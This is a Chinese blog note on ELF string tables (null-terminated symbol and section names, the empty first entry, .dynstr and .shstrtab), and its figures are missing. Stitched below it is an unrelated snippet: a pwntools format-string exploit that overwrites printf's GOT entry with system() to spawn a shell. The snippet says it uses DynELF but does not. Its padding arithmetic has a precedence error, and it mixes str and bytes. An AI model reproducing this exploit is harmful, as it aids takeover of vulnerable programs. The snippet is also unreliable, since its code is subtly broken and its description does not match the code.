ELF Format 笔记(六)—— 字符串表

ilocker:关注 Android 安全(新入行,0基础) QQ: 2597294287

字符串表中包含若干以 null 结尾的字符串,这些字符串通常是 symbol 或 section 的名字。当 ELF 文件的其它部分需要引用字符串时,只需提供该字符串在字符串表中的位置索引即可。

字符串表中首先是一个空串,用于表示一个空名字,所以字符串表的第一个字节是“\0”。

下图展示了一个长度为 25 字节的字符串表:

 

字符串引用示例:

 

既可以引用一个完整的字符串,也可以引用一个字符串的子串。

一个目标文件中会有多个字符串表,比如 android libstdc++.so 中有 .dynstr、.shstrtab。.shstrtab 是专门保存 section 名字的字符串表。

转载于:https://www.cnblogs.com/ilocker/p/4612010.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
字符串拼接在pwn中是非常常见的,可以用于构造payload,实现漏洞利用。下面是一个简单的例子,演示了如何使用字符串拼接实现pwn: 假设有一个程序存在格式化字符串漏洞,我们需要构造一个payload来执行system("/bin/sh")。首先,我们需要获取system函数的地址,可以使用pwntools中的DynELF模块来实现: ```python from pwn import * p = process("./vuln") # 启动程序 elf = ELF("./vuln") # 加载程序 # 获取system函数的地址 system_addr = elf.sym["system"] ``` 接下来,我们需要构造payload。由于格式化字符串漏洞是通过将格式化字符串作为参数传递给函数来触发的,因此我们需要构造一个包含system函数地址的格式化字符串。具体来说,我们可以使用"%n$"来引用参数列中的第n个参数,从而实现读取任意地址的数据。例如,"%12$n"示将当前已经输出的字符数写入参数列中的第12个参数所指向的地址中。 ```python # 构造payload payload = p32(elf.got["printf"]) # 将printf的GOT地址作为第一个参数 payload += "%{}x%12$hn".format(system_addr & 0xffff) # 将system地址的低16位写入printf的GOT地址 payload += "%{}x%13$hn".format((system_addr >> 16) & 0xffff - (system_addr & 0xffff)) # 将system地址的高16位写入printf的GOT地址+2 ``` 最后,我们只需要将payload发送给程序即可: ```python # 发送payload p.sendline(payload) p.interactive() # 进入交互模式,可以手动输入命令 ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值